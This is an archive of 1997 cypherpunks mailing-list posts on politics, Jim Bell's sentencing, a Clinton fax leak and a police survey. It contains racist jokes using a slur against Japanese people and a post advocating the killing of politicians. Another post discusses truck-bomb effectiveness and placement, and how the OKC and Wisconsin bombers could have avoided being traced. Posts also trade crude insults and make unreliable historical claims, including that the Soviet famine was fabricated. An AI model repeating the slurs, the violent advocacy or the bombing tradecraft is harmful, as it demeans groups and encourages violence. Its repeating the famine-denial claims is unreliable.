Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 23 Nov 1997 00:34:30 +0800
To: cypherpunks@toad.com
Subject: Re: A Challenge to the Violent and Depraved
Message-ID: <1.5.4.32.19971122162134.00717a50@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



To buttress suggestions for simulating the OKC bombing, here's an SAIC 
press release of August 1997 on a training program for disaster handling:

SAIC AND TEEX TO PROVIDE ANTI-TERRORISM TRAINING TO 
FIRST RESPONDERS 

(MCLEAN, VA) Science Applications International Corporation (SAIC) has 
signed an agreement with the Texas Engineering Extension Service (TEEX) 
to prepare civilian emergency responders for possible terrorist events. 
Under the agreement, SAIC and its teaming partners will provide training 
to firefighters and other first response personnel in the latest 
technologies for addressing chemical and biological terrorism. 

As the leader of the team, TEEX will hold training classes at Texas A&M 
University's Emergency Response Training Field at College Station, Texas, 
where firefighters and rescue workers will train in virtual reality 
simulators on the effects of chemical and biological weapons. TEEX, which 
is a member of the Texas A&M University System, annually provides training 
to 129,000 individuals and last year provided fire, rescue and hazardous 
materials training nationally and internationally to more than 28,000
responders. 

"The United States has been fortunate in that it has not had a successful 
terrorist attack perpetrated against it using biological or chemical agents," 
said G. Kemble Bennett, TEEX's CEO who oversees the 120-acre Brayton Fire 
Training Field. "However, experts agree that it is only a matter of time." 

"As a leader in chemical and biological warfare agent accident, response and 
assistance training for military and civilian emergency response agencies, 
SAIC can offer expert guidance to responders," said William L. Chadsey, 
senior vice president at SAIC. "Our company has provided emergency planning 
and consultative services to personnel and public service organizations 
worldwide." 

In September, U.S. Representative Curt Weldon (R-Pa.) is expected to 
introduce a bill in Congress to designate the training field at Texas 
A&M and its facilities as The National Training Center for Urban 
Search and Rescue. The new center is expected to feature building 
collapse simulators and a facility dubbed "Disaster City" to prepare 
responders to handle earthquakes and bombings in addition to chemical 
and biological agents. If approved, Rep. Weldon¹s bill also is likely 
to facilitate the release of information from Bechtel Nevada at the 
Nevada Test Site about the handling of nuclear materials. 

Speaking at the signing ceremony, Fire Chief Gary Marrs of Oklahoma 
City, Okla., said, "The first responders in our communities, and 
specifically our firefighters, are tasked to respond and make a 
difference when disasters occur. Until the training and equipment,
utilizing the latest in technology, get down to the street level, we 
put our responders at an extreme disadvantage and endanger their lives. 
I am encouraged to see these types of cooperative efforts make this 
training and technology available to the men and women of the fire 
service who protect our cities daily." 

Marrs, who managed the fire and rescue mission at the bombing of the 
Alfred P. Murrah Building in Oklahoma City, chairs the Urban Search 
and Rescue Committee for the International Association of Fire Chiefs 
located in Fairfax, Va. 


http://www.saic.com/publications/news/aug97/news08-06-97.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 01:58:45 +0800
To: cypherpunks@toad.com
Subject: Re: Alternative Apology
In-Reply-To: <347647EA.13A8@algebra.com>
Message-ID: <qPwkge42w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"(Igor Chudov @ home)" <ichudov@Algebra.COM> writes:

> The dog ate my computer. Then Joichi Ito ate my dog.

How can you tell that a neighborhood's been infested by Japs?

A sign at the dog pound says: "We do not accept food stamps".


What's the happiest day of the year for Jap women?

Election day.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 23 Nov 1997 04:59:29 +0800
To: cypherpunks@toad.com
Subject: And your little dog, too
In-Reply-To: <4c629215684c4169e873ce69a68c218d@anon.efga.org>
Message-ID: <3.0.3.32.19971122113228.006fc44c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:00 PM 11/21/1997 -0500, doormouse wrote:
>igor said:
>>I am sorry for the recent interruption of the cypherpunks mailing list.
>>The dog ate my computer. Then Joichi Ito ate my dog.

>Igor, Japanese dont eat dog, that is the Koreans and Vietnamese.

Wasn't that a TOTO forgery, rather than igor himself?

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 23 Nov 1997 03:59:18 +0800
To: cypherpunks@toad.com
Subject: House panel puts Clinton's private fax online
Message-ID: <Pine.GSO.3.95.971122113755.14764F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain







http://www.rollcall.com/newsscoops/leadscoop.html

House Panel Puts Clinton's Private Fax on the Internet

          By Ed Henry and Jennifer Bradley

          President Clinton's private fax number was placed on the
Internet by the
          House Government Reform and Oversight Committee for a brief time
          Tuesday in a breach that has infuriated White House officials.

          The number for the fax machine that sits right outside the Oval
Office was
          provided to Government Reform and Oversight investigators by
former
          Clinton political consultant Dick Morris, during an August
deposition, on the
          condition that it be kept private. 

          But the fax number, which Clinton uses for secure communications
with old
          friends and people he meets during trips around the nation, was
left in the
          deposition made public Tuesday on the Internet.

          "I can say on the President's behalf that he's disappointed that
the committee
          didn't respect the confidentiality of his number," White House
spokesman
          Mike McCurry said in an interview. "This is very troubling to
the White
          House."

          After being contacted by Roll Call with the President's private
number on
          Tuesday evening, McCurry did some checking and called back
within a few
          minutes to declare, "Unfortunately it's a match."

          McCurry complained that the White House will now have to change
the
          number and try to track down all of the disparate people who use
the number.
          "This basically has the potential to ruin a device the President
has used as a
          real good sounding board," he said.

          McCurry suggested this was an example of Government Reform and
          Oversight Chairman Dan Burton's (R-Ind) recklessness.
[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 01:56:14 +0800
To: cypherpunks@toad.com
Subject: Re: The Subliminal Algebra-Seinfield Conspiracy
In-Reply-To: <34766E12.4AF9@dev.null>
Message-ID: <JqXkge45w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger <tm@dev.null> writes:

> Is it a mere coincidence that algebra.com went down and proceeded to
> send out all received messages in reverse order on the _same_day_
> that the Seinfield TV show featured a reverse-order-plot show?

I don't watch much TV, especially comedies. However I accidentally saw a
bit of "Seinfield" the other day and was surprise to note that they picture
Tom's restaurant, on 112th and Broadway.  I worked for 7 years upstairs
from that restaurant in a very secret organization.  I'm socked they even
show that building on TV. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 02:05:36 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <Chameleon.880205874.amp@ampugh.mcit.com>
Message-ID: <TFykge47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



amp@pobox.com writes:
>
> so saith ichudov@algebra.com ...
>
> > Looks like Jim has been sentenced to 10 years without the right
> > to correspondence.
> >
> > To those who do not understand the cultural connotations of this
> > phrase, I will explain. During Stalin's purges around 1937, a lot of
> > people were arrested and nothing could be found out about them --
> > not even when they were held. Their relatives were later notified that
> > the prisoners were sentenced to 10 years without the right to
> > correspondence.
>
> the parallels between modern america and just about an other totalitarian
> regime to date are hitting frighteningly close to home.
>
> I remember when I was told about the horrors of the nazi and russian
> children turning their parents in for whatever the state considered to not
> be proper. now we have D.A.R.E.
>
> i doubt such things are mentioned in public schools anymore.

I mentioned in a private e-mail to Igor that the though of "10 years w/o
correspondence" occured to me too.  That what a great-grandfather of mine
got.  As for DARE, it reminds me of the great Soviet hero - Pavlik (Paul)
Morozov, a 13-year-old boy who grew up in a small village in the northern
Ural mountains. One day the Soviets decided to force all the peasants to
join a collective farm by confiscating their food and causing an artificial
famine[1]. Pavlik's father buried some grain hoping to feed hid family.
Pavlik squealed on his father, who was shot. Pavlik's grandfather later
killed Pavlik with an axe. The Soviets then shot the grandfather and
a bunch of other villagers, and made Pavlik a great hero worthy of
emulation by all Soviet children.

[1] Interesting enough, anyone in the U.S. who expressed the opinion in
the 1930's that there's a famine going on in Russia, or that the public
confessions made at the show trials might be questionable, was branded
a fascist by the new York Times crowd and was likely to lose his job.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 23 Nov 1997 02:13:48 +0800
To: cypherpunks@toad.com
Subject: Re: The Subliminal Algebra-Seinfield Conspiracy
Message-ID: <1.5.4.32.19971122175619.006aeb1c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri confessed:

>Above Tom's restaurant, on 112th and Broadway.  I worked for 7 years upstairs
>from that restaurant in a very secret organization.  I'm socked they even
>show that building on TV. :-)

You bet, that secret org is well-known among CU pick-up artists as 
a swell place to pick up socks ...  well, more than that and sudden 
death's your next shock.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 23 Nov 1997 04:40:40 +0800
To: Brad Dolan <bdolan@USIT.NET>
Subject: Re: Lewis & Clark liked dogs too [was Re: Alternative Apology]
In-Reply-To: <Pine.GSO.3.95.971122091625.5768B-100000@use.usit.net>
Message-ID: <34773685.5759@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Brad Dolan wrote:
> 
> According to _From Sea to Shining Sea_, by J. Thom, famous American
> explorers William Clark and George Lewis provisioned their trip across the
> continent with dog meat.  They even traded with the indians in the
> northwest  for dogs so they wouldn't have to eat those yucky salmon.

  This might explain why 'Lassie' was always such a suck-up.
  Fear.

FearMonger

> On Fri, 21 Nov 1997, Anonymous wrote:
> 
> > igor said:
> >
> > >I am sorry for the recent interruption of the cypherpunks mailing list.
> > >The dog ate my computer. Then Joichi Ito ate my dog.
> > >
> > >Igor
> >
> > Igor, Japanese dont eat dog, that is the Koreans and Vietnamese.
> >
> > doormouse
> >
> >
> >
> >






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 23 Nov 1997 04:49:54 +0800
To: cypherpunks@toad.com
Subject: Re: The Subliminal Algebra-Seinfield Conspiracy
Message-ID: <84aa5c378c9f41b35c9d2de6bd850c30@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 11:45 AM 11/22/97 EST, you wrote:
>
>TruthMonger <tm@dev.null> writes:
>
>> Is it a mere coincidence that algebra.com went down and proceeded to
>> send out all received messages in reverse order on the _same_day_
>> that the Seinfield TV show featured a reverse-order-plot show?
>
>I don't watch much TV, especially comedies. However I accidentally saw a
>bit of "Seinfield" the other day and was surprise to note that they picture
>Tom's restaurant, on 112th and Broadway.  I worked for 7 years upstairs
>from that restaurant in a very secret organization.  I'm socked they even
>show that building on TV. :-)
>
>---
>
>Dr.Dimitri Vulis KOTM
>Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
>
>

Is Dimitri a cossack? a cossock?, a cocksock?, or just a cocksucker? 

Typos the bane of understanding on the net.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 23 Nov 1997 04:55:48 +0800
To: cypherpunks@toad.com
Subject: 10.5
Message-ID: <a2eb53d8b0dc18a9278bb092420fa0cf@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



nobody since
       Nixon was been impeached for violating his oath of
       office by subverting the Constitution. This suggests
       either that everyone honors the oath or that the oath is
       meaningless.
            Suppose, in a society with a normal level of
       criminal behavior, there were no prosecutions for
       burglary. Would you infer that there were no burglaries
       in that society? Or would you infer, rather, that the
       burglary laws just weren't being enforced?

When a
       bill is proposed in Congress, our representatives almost
       never ask themselves: "Where in the Constitution do
       we get the power to enact this measure?" Instead they
       presume that they have virtually any power they
       choose to exercise. They simply feel no tension
       between their will and the Constitution that is supposed
       to restrain them. This doesn't look much like an ethos
       of limited government.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 23 Nov 1997 04:57:05 +0800
To: cypherpunks@toad.com
Subject: 10.75 - NWO
Message-ID: <f90bb9ba9703f9a2ada5a6b2dd82b1fe@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



It's really a secondary matter whether the
       centralization of power is the result of a conscious
       collusion aimed at creating a world government.

Conspiracies are real, and conspiratorial behavior is
       inseparable from politics, since politics is largely the
       pursuit of power by sneaky people. 

I don't think Abraham Lincoln intended to destroy
       the independence of the states when he conducted the
       Civil War. He merely wanted to save the Union, and
       he thought in terms of that immediate goal. But it
       doesn't matter what he meant to do. As a practical
       matter, his policy set the United States on a course of
       centralization. The Union victory meant that no state
       could ever secede again, regardless of how tyrannical
       the Union might become. That removed an essential
       restraint on Union -- alias "federal" -- power.

I doubt that Franklin Roosevelt meant to destroy
       all remaining constitutional restraints on the
       government; he merely knocked them out of his way
       when necessary.

In the same way, today's globalists and
       interventionists, forever pursuing international treaties
       and alliances, may think they are promoting peace and
       prosperity, seeing no tyrannical potential in a "new
       world order." But the rest of us have to worry about
       what these arrangements may mean for us and our
       children down the road. Good intentions are beside the
       point. What is the actual tendency of these new
       contracts among superstates?







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 23 Nov 1997 04:56:33 +0800
To: cypherpunks@toad.com
Subject: 10th
Message-ID: <26d40a394a05ef3de0c1fa2e4a33e550@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Professor George P. Fletcher of the Columbia
       Law School notes 
            "Not only is [McVeigh's philosophy] in line with
       the conceptions held by many of the nation's
       founders," Mr. Fletcher writes in The New Republic,
       "but it lives on today in the works of an influential
       minority of legal scholars and advocates."

Mr. Fletcher thinks the problem is that we have
       abandoned "the original Constitution" and adopted "a
       new Constitution" without facing the historical
       discontinuity this involves. In his words, "we do not
       teach this historical rupture -- not in our grade schools,
       not in our law schools. We are all good lawyers and
       therefore, like Lincoln, we pretend that the second
       Constitution is simply the natural continuation of the
       founding document."

 The first Constitution
       limited the federal government to external relations
       between the states, leaving alone such internal matters
       as slavery. The second Constitution, instituted by the
       Civil War, gave the federal government new powers to
       intervene within the states through the 13th, 14th and
       15th Amendments

The 10th Amendment, reserving to the states
       and the people all powers not "delegated" to the federal
       government, was not repealed or even modified. So
       Congress' exercise of any power not granted is still a
       usurpation, even under the "new" Constitution.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 23 Nov 1997 05:07:00 +0800
To: "Dr.Dimitri Vulis KOTM" <cypherpunks@toad.com>
Subject: Re: Jim Bell's Sentencing Delayed Again
Message-ID: <199711222044.PAA14362@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 11/22/97 12:00 PM, Dr.Dimitri Vulis KOTM (dlv@bwalk.dm.com)  passed
this wisdom:

>[1] Interesting enough, anyone in the U.S. who expressed the 
>opinion in the 1930's that there's a famine going on in Russia, or 
>that the public confessions made at the show trials might be 
>questionable, was branded a fascist by the new York Times crowd and 
>was likely to lose his job. 

 If I remember correctly about ten-twelve years or so ago it was
revealed thah the NY Times reporter who won a Pulitizer prize for his
coverage of the 'famine' was exposed as having not only been aware of
what was going on but wa actively involved in promoting the deception
and his award was revoked (not that it mattered much fifty years
later)

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Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNHdCncdZgC62U/gIEQJIHgCfXYknNpEmLUyGkZk0/hsDOQtGVgMAnAiw
xmeSWqQOdcPtGiGt4Y2aMSsd
=UX27
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "Saying windows 95 is equal to Macintosh is like finding a potato
  that looks like Jesus and believing you've seen the Second Coming."
  -- Guy Kawasaki (MacWorld, Nov '95)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Benjamin Chad Wienke" <woodwose@mailexcite.com>
Date: Sun, 23 Nov 1997 08:31:38 +0800
To: cypherpunks@cyberpass.net
Subject: (No Subject)
Message-ID: <DGPMGGPENBAGCAAA@mailexcite.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>Onan is commonly (albeit incorrectly) credited with the invention of
>masturbation.  (See Genesis 38:6-10 in the Bible)  I wonder what sort of
>thoughts the Onan-o-graph induces? [snicker, snicker]

get your demonized molesting mind out of the gutter
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Version: PGP for Business Security 5.5

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=jAMG
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Free web-based email, Forever, From anywhere!
http://www.mailexcite.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 23 Nov 1997 00:13:04 +0800
To: cypherpunks@toad.com
Subject: RE: CIA - Some Questions
Message-ID: <199711221546.QAA00226@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Dear Cypherpunks,

In response to your upcoming questions, I have 
prepared the following materials:

> Does the Central Intelligence Agency engage in assassinations?

No. Executive Order No. 12333 explicitly prohibits the Central Intelligence
Agency from engaging, either directly or indirectly, in assassinations. Interna
oversight process assure compliance.

> Does the Central Intelligence Agency engage in drug trafficking?

No. In fact, the Central Intelligence Agency assists the US Government effort t
providing intelligence information to the Drug Enforcement Administration, the
the State Department.



Regards,
J Smith (Esq).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 23 Nov 1997 11:35:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Violence and Depravity
In-Reply-To: <199711201532.JAA17885@multi26.netcomi.com>
Message-ID: <3.0.3.32.19971122171122.006ee030@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:32 AM 11/20/1997 PST, Neva Remailer wrote:
>As a military trained explosive demolition instructor,
>I am compelled to concur with the absent testimony and published
>findings of a certain three star, to wit: It ain't necessarily so.
>
>Anyone with even a cursory knowledge of explosives will tell you
>that two tons of ammonium nitrate, sixty feet from the base
>of a tall, reinforced concrete and steel building, 
>will not do very much more than break lots of windows.  

The University of Wisconsin Army Mathematics Research Center
bombing in 1970 also used a van full of ANFO, and devastated the building.
The bombers didn't know that there was a worker in the building
the night they blew it up, and hadn't planned to kill anybody,
unlike the daytime bombing of the OKCity building.


>Also, if McVeigh really had followed the Turner Diaries recipe, 
>he would have put his bomb somewhere useful.  
>The book details the use of a similar device to destroy a 
>large government database, and the truck bomb is parked underneath it
>in the basement parking structure, _not_ sixty feet away...

And he would have also hijacked the van instead of using
one traceable to him (or stolen it, if he had the skill.)
Not much brighter than the World Trade Center bombers
trying to get their deposit back.  The Wisconsin Rads
had the sense to steal the van they used.
(On the other hand, somebody saw them tearing out of town
in their getaway car at 4am.)


				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 07:45:44 +0800
To: cypherpunks@toad.com
Subject: Re: Clinton Sells Arlington Burials
In-Reply-To: <3.0.3.32.19971119081153.0324597c@popd.netcruiser>
Message-ID: <uqDLge1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke <JonWienk@ix.netcom.com> writes:
> I just heard on the news that Bill Clinton has been selling the right
> to be buried in Arlington National Cemetery (and possibly other
> military cemeteries) to campaign contributors.  The story originally
> broke in the latest edition of Insight magazine yesterday.  I think
> our Maximum Leader has stooped to a new level of sleaze, and deserves
> the revulsion of veterans everywhere.

Having zero respect for the military and all that goes with it, I fail
to see what the big deal is.  So he charges money for a burial plot...
Next he may be charging money for giving his contributors the purple
heart or the congressional medal of honor.  Bill is a political prostitute,
but by putting up for sale the worthless shit that the military would
want kids to die for he's doing a Good Thing.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 07:42:24 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell's Sentencing Delayed Again
In-Reply-To: <199711222044.PAA14362@mx02.together.net>
Message-ID: <ZLeLge6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Brian B. Riley" <brianbr@together.net> writes:

> On 11/22/97 12:00 PM, Dr.Dimitri Vulis KOTM (dlv@bwalk.dm.com)  passed
> this wisdom:
>
> >[1] Interesting enough, anyone in the U.S. who expressed the
> >opinion in the 1930's that there's a famine going on in Russia, or
> >that the public confessions made at the show trials might be
> >questionable, was branded a fascist by the new York Times crowd and
> >was likely to lose his job.
>
>  If I remember correctly about ten-twelve years or so ago it was
> revealed thah the NY Times reporter who won a Pulitizer prize for his
> coverage of the 'famine' was exposed as having not only been aware of
> what was going on but wa actively involved in promoting the deception
> and his award was revoked (not that it mattered much fifty years
> later)

I recall reading "The book of lists" by Wallechinski/Wallace (sorry, I
threw it out and no longer have the exact reference).  One of the categories
was "10 biggest U.S. media deceptions".  Wallace claimed that the Hearst
organization manufactured the news of the artificial famine in the 1930s
and used the pictures from the tzarist era famines.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Nov 1997 07:42:41 +0800
To: cypherpunks@toad.com
Subject: Re: Tampa Pirate Radio Stations Silenced
In-Reply-To: <Rt3gkVQgr0m4TyZz8swn7w==@bureau42.ml.org>
Message-ID: <kseLge7w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer <nobody@bureau42.ml.org> writes:

> > Authorities say Vulis used his equipment to broadcast anti-government
> > messages.

Authorities are correct. I use my equipment to advocate destroying all gubmints
and killing all politicians and authorities.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 23 Nov 1997 09:00:52 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Clinton Sells Arlington Burials (fwd)
Message-ID: <199711230104.TAA04427@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Clinton Sells Arlington Burials
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
> Date: Sat, 22 Nov 97 17:31:17 EST

> Having zero respect for the military and all that goes with it, I fail
> to see what the big deal is.

You moron, it has *NOTHING* to do with the military. IT HAS to do with
citizens who died in the service of their country. The not so surprising
fact is that the vast majority of those eligible are soldiers. The cemetary
recognizes their INDIVIDUAL sacrifice and NOT anything to do with the US
Government per se. Selling burial plots at Arlington should involve
impeachment.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 23 Nov 1997 13:08:08 +0800
To: cypherpunks@toad.com
Subject: Re: And your little dog, too
In-Reply-To: <199711222339.AAA25078@basement.replay.com>
Message-ID: <3.0.3.32.19971122193406.006e907c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:39 AM 11/23/1997 +0100, doormouse wrote Anonymously:
>>Wasn't that a TOTO forgery, rather than igor himself?

>I use Eudora, it doesn't show full headers, 
>when I suspect a forgery I need to save it to disk and 
>use a text editor to check full headers. 
>Have I missed an easy way to configure eudora to show full headers?

Which Eudora version are you using?
Eudora Light (and Pro, of course) have always let you see the headers,
if you'll work your way through the Tools->Options menus.
Under 3.x, the message reading window has a "Blah Blah Blah"
button to let you turn display of headers on and off easily.
I've configured my filters so that mail with obvious Toto headers in it
gets the Subject: line flagged so I notice it faster.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 23 Nov 1997 13:09:02 +0800
To: cypherpunks@toad.com
Subject: Re: Clinton Sells Arlington Burials
In-Reply-To: <3.0.3.32.19971119081153.0324597c@popd.netcruiser>
Message-ID: <3.0.3.32.19971122194807.0070b75c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:31 PM 11/22/1997 EST, Dr.Dimitri Vulis KOTM wrote:
>Having zero respect for the military and all that goes with it, I fail
>to see what the big deal is.  So he charges money for a burial plot...

At least he's not yet arranging for people to become dead
so they can be buried there.   What was it Senator FooBar said?
	"I've met George Bush, and believe me, you're not George Bush" :-)

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 23 Nov 1997 09:06:57 +0800
To: cypherpunks@toad.com
Subject: Re: Jim Bell's Sentencing Delayed Again
Message-ID: <1.5.4.32.19971123005751.006de700@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>The several-times delayed sentencing, with no protests from Bell's
>court-appointed lawyer, tells me the Feds are trying to get some final
>details lined up.

Several other possibilities have circulated:

1. Jim's still ill, physically, as indicated by the docket's listing of
a doctor's visit, or psychosomatically, due to the strain of indefinite
incarceration and pressures of interrogation.

2. Jim is not fully cooperating, say, refusing to name others or provide
evidence about his own activities or those of others.

3. Jim's behaving erratically, sometimes cooperative, sometimes
defiant.

4. Jim's drawing out cooperation, negotiating for a better deal, perhaps
with his attorney's advice to do so.

5. Jim is faking it, convincingly, sending the feds off on wild goose 
chases, working with confederates on preplanned ruses.

6. Jim is not what he appears to be, never was, and nobody gets 
what he's up to. The current Jim just another ploy, AP a lure.

7. Finally, no disrespect intended -- first time jail is one shitty experience,
with nightmares of lonely long time sentence worse than most of us 
will ever know -- Jim freaks on sentencing day, shits himself, collapses, 
can't face what's coming, and the court mercifully delays the
day reckoning.

Still, there's a slim chance he's enjoying himself in Seattle or DC, working
an IRS Fortier-ruse on us.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 23 Nov 1997 09:56:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Survey: Police Satisfaction [CNN]
Message-ID: <199711230158.TAA04577@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                   SURVEY SHOWS AMERICAN'S COMFORT WITH POLICE
>                                        
>      police contact November 22, 1997
>      Web posted at: 7:01 p.m. EST (0001 GMT)
>      
>      WASHINGTON (AP) -- A new Justice Department survey examining the way
>      the public interacts with police has found that one in five
>      Americans makes some kind of contact with law enforcement officers
>      each year mostly to report a crime, ask for help or offer
>      assistance.
>      
>      The study, released Saturday, also found that less than 1 percent of
>      people who made contact with police said officers used or threatened
>      to use physical force. If force was used, most respondents said,
>      their actions may have provoked it.
>      
>      The survey reveals nothing surprising, criminal justice experts
>      said. They said it shows that Americans are turning to police in
>      situations beyond emergencies.
>      
>      "I think to many people, the one in five number seems high. But it
>      does emphasize the varied role police have as peace officers as
>      opposed to just responding to crimes," said James Alan Fox, dean of
>      the College of Criminal Justice at Boston's Northeastern University.
>      "Most of the work police do is not necessarily respond to crimes."
>      
>      However, some feel the survey fails to address factors important to
>      relationships police have with citizens. police directions
>      
>      "It probably doesn't really speak to the strained relations between
>      the police and minority communities in America," said Arthur
>      Lurigio, chairman of the Criminal Justice Department at Loyola
>      University in Chicago.
>      
>      The first-of-its-kind study was culled from data in the annual
>      National Criminal Victimization Survey conducted by the Bureau of
>      Justice Statistics.
>      
>      According to the report, one-third of the contacts between the
>      police and the public was related to seeking help or offering
>      assistance. Another third was to report a crime, either as a witness
>      or victim. Slightly less than one-third of respondents said the
>      police had initiated the contact.
>      
